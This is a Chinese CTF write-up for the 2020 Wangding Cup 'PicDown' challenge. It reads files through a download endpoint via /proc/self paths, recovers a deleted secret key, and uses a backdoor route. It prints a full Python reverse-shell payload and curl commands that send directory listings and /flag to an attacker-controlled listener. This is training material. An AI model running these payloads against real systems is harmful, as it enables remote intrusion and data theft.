[CTF]WriteUp第22篇

[网鼎杯 2020 白虎组]PicDown

思路

仅有一个输入框,输入当前题目的url进行测试发现其会传回一个包含当前网站信息的jpg文件
该文件仅后缀为jpg,内容为url内容
可以推断出这里是下载文件的用处

先对其进行协议测试,发现其支持data协议和http相关协议,不支持php和file协议
直接输入/etc/passwd也能打开,说明可以直接读取文件,尝试/flag无果

做到这里没思路了

解题

看WP得知有这么一个文件夹:/proc,是Linux系统通过万物皆文件的理念,把内存进程做成了文件的形式来保存各种数据

这里用到的有两个:
/proc/self/cmdline 记录了当前进程的原始命令
/proc/self/environ 记录了当前进程的环境变量
/proc/self/fd 记录了当前进程打开的每一个文件的描述符

我们分别输入,得到信息:

/proc/self/cmdline: 
python2app.py

/proc/self/environ:
MAIL=/var/mail/appUSER=appHOME=/home/appLOGNAME=appPATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gamesSHELL=/bin/shPWD=/app

那么,我们先看看这个/app/app.py是什么:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

我们想办法看看这个SECRET_KEY
源文件已经被删除了,但是内存中的不被释放
依次输入
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3

拿到了:jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=
测试可以用,接下来是shell了
这个shell我试了很久,因为没有回显所以很痛苦
本想利用shell创建文件再读取文件,不知怎么的没有成功

看WP,学习两种解法
参考文献:
[网鼎杯 2020 白虎组]PicDown-CSDN博客
[BUUCTF题解][网鼎杯 2020 白虎组]PicDown – Article_kelp – 博客园 (cnblogs.com)
反弹shell – MustaphaMond – 博客园 (cnblogs.com) (反弹shell知识)

python反弹shell

远程服务器上监听35236窗口:
与此同时发送payload:

nc -lvp 35236

/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',35236));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

注:ip填自己的

这里的效果相当于交互式shell,很简单拿到flag:flag{4f410160-a7a0-4e48-a30f-8343ef4d6d4e}

curl反弹shell

我看原理好像和python反弹shell差不多,但要简洁很多

nc -lvp 35236

/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=curl ip:35236/`ls /|base64`

/no_one_know_the_manager?key=jEYyArYjyJrw2JRRxTbg19vISBc10RuGwzRiyMtB0eQ=&shell=curl ip:35236/`cat /flag|base64`

后面不演示了

注意

学习一下/proc文件夹
学习一下反弹shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇